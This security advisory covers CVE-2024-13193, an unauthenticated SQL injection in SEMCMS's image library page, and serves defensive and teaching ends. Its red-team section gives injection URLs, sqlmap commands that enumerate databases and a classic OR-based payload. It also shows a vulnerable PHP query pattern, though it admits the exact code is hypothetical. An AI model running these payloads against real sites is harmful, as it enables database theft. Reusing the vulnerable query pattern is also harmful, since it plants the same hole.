CVE-2024-13193

Executive Summary

CVE-2024-13193 is a critical unauthenticated SQL injection vulnerability in SEMCMS versions up to 4.8. The flaw resides in the SEMCMS_Images.php file within the Image Library Management Page component. An attacker can remotely inject arbitrary SQL commands without authentication, leading to full database compromise, data exfiltration, and potential server takeover. The vendor has not responded to disclosure, and no official patch exists. Public exploit code is available, increasing the risk of widespread exploitation.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a standalone PHP application (SEMCMS). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the SEMCMS_Images.php script. The application fails to sanitize user-supplied input passed to SQL queries. By manipulating parameters such as id or action, an attacker can inject malicious SQL statements. The backend database (likely MySQL) executes the injected commands, allowing the attacker to bypass authentication, read sensitive data, modify database contents, or execute system commands via INTO OUTFILE or similar techniques.

The injection point is likely in a GET or POST parameter used to fetch or manipulate image library data. Since the vendor has not patched, the exact vulnerable parameter is confirmed via public exploit.

Vulnerable vs. Patched Code

Vulnerable Code (SEMCMS_Images.php):

$id = $_GET['id'];
$sql = "SELECT * FROM images WHERE id = $id";
$result = mysqli_query($conn, $sql);

The $id variable is directly concatenated into the SQL query without sanitization.

Patched Code (Hypothetical):

$id = intval($_GET['id']);
$sql = "SELECT * FROM images WHERE id = $id";
$result = mysqli_query($conn, $sql);

Or using prepared statements:

$stmt = $conn->prepare("SELECT * FROM images WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();

No official patch exists; the above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running SEMCMS <= 4.8
• Network access to the web server
• SQLMap or manual exploitation skills

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/SEMCMS_Images.php?id=1
2. Inject SQL payload: http://target/SEMCMS_Images.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
3. Use SQLMap for automated exploitation:

sqlmap -u "http://target/SEMCMS_Images.php?id=1" --batch --dbs

4. Extract data:

sqlmap -u "http://target/SEMCMS_Images.php?id=1" --batch -D semcms_db --tables

Manual Payload Example:

' OR '1'='1' -- -

Blue Team (Defensive)

Detection:

• Monitor web server logs for SQL injection patterns (e.g., UNION, SELECT, OR 1=1)
• Deploy WAF rules to block suspicious SQL keywords
• Use the Sigma and Suricata rules provided below

Hunting:

• Search for requests to SEMCMS_Images.php with unusual parameters
• Check for database error messages in HTTP responses
• Review database query logs for anomalies

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /SEMCMS_Images.php with SQL-like parameters
  • Outbound database connections from the web server to unknown IPs
• File System:
  • Presence of webshells in the web root (e.g., cmd.php, shell.php)
  • Modified or new files in the SEMCMS directory
• Database:
  • Unauthorized user accounts or privileges
  • Suspicious stored procedures or triggers
• Logs:
  • Web server logs containing SQL injection patterns
  • Database error logs with syntax errors

Detection Engineering

YARA Rule

rule CVE_2024_13193_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting SEMCMS_Images.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13193"
    strings:
        $s1 = "SEMCMS_Images.php" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR 1=1" nocase
        $s5 = "admin" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: SQL Injection Attempt on SEMCMS_Images.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection patterns in requests to SEMCMS_Images.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "SEMCMS_Images.php"
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of UNION SELECT in admin functions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13193 SQL Injection Attempt"; flow:to_server; content:"SEMCMS_Images.php"; http_uri; content:"UNION"; http_uri; content:"SELECT"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the SEMCMS application from the internet if possible.
2. Apply a virtual patch using a WAF (e.g., ModSecurity rule to block SQLi patterns).
3. Upgrade to a patched version if available; otherwise, consider migrating to a supported CMS.

Long-term Fix:

• Replace all dynamic SQL queries with prepared statements or parameterized queries.
• Implement input validation and sanitization for all user-supplied data.
• Conduct a full security audit of the SEMCMS codebase.

Workaround:

• Disable the Image Library Management Page if not essential.
• Restrict access to SEMCMS_Images.php via .htaccess or firewall rules.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert